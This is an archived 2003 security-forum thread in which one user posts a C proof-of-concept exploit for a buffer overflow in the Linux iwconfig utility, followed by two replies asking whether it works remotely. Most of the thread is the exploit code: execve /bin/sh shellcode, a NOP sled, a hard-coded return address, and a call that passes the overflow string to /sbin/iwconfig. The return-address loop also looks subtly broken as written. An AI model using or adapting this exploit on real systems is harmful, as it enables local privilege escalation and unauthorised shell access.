Proof Of Concept Exploit For Iwconfig

Full Version: Proof Of Concept Exploit For Iwconfig

GovernmentSecurity.org > The Archives > Exploit Articles

raptor

Oct 26 2003, 09:15 PM

can't make it work remotely...
is it 802.11b compatible ???
should i be member in this wan ??? (if yes this is local...)

T3cHn0b0y

Oct 26 2003, 08:56 PM

Wouldnt you need a wireless connection inside the network to exploit the vulnerability? I think its local exploit only m8.

kkkk

Oct 22 2003, 09:39 PM

So...

CODE

/*
* Description:
* iwconfig configures a wireless network interface and is similar to ifconfig
* except that iwconfig configures wireless interfaces.
* Vulnerability:
* Instead of giving the interface parameter when a large string is given
* the buffer overflows :-)...
*/

/*
* Yet another Proof Of Concept Xploit for iwconfig
*/

#include <stdio.h>
#include <stdlib.h>

#define BUFF_SIZE 98
#define RET 0xbffffc3f

char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

int main(int argc,char **argv)
{

int i;
char *buff=(char *)malloc(sizeof(char)*BUFF_SIZE);

for(i=0;i<BUFF_SIZE;i+=4)
*(long *)&buff=RET;

for(i=0;i<BUFF_SIZE-strlen(shellcode)-12;i++)
*(buff+i)=0x90;

memcpy(buff+i,shellcode,strlen(shellcode));

execl("/sbin/iwconfig","iwconfig",buff,(char *)NULL);

return 0;
}

Found [I]here.

That's all
kkkk

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.